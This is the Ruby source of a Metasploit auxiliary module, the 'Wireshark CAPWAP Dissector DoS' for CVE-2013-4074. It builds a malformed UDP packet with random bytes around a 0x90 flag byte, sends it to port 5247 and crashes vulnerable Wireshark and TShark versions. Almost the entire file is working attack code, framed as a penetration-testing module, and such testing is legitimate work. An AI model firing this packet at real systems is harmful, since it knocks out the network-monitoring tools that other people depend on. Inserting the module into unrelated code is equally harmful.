53 lines
1.7 KiB
Ruby
53 lines
1.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::Udp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Wireshark CAPWAP Dissector DoS',
|
|
'Description' => %q{
|
|
This module injects a malformed UDP packet to crash Wireshark and TShark 1.8.0 to 1.8.7, as well
|
|
as 1.6.0 to 1.6.15. The vulnerability exists in the CAPWAP dissector which fails to handle a
|
|
packet correctly when an incorrect length is given.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Laurent Butti', # Discovery vulnerability
|
|
'j0sm1' # Auxiliary msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2013-4074'],
|
|
['OSVDB', '94091'],
|
|
['BID', '60500']
|
|
],
|
|
'DisclosureDate' => 'Apr 28 2014'))
|
|
|
|
# Protocol capwap needs port 5247 to trigger the dissector in wireshark
|
|
register_options([ Opt::RPORT(5247) ])
|
|
end
|
|
|
|
def run
|
|
|
|
connect_udp
|
|
|
|
# We send a packet incomplete to crash dissector
|
|
print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...")
|
|
# With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then
|
|
# the dissector crash
|
|
# You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt
|
|
# F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000
|
|
buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15)
|
|
udp_sock.put(buf)
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
end
|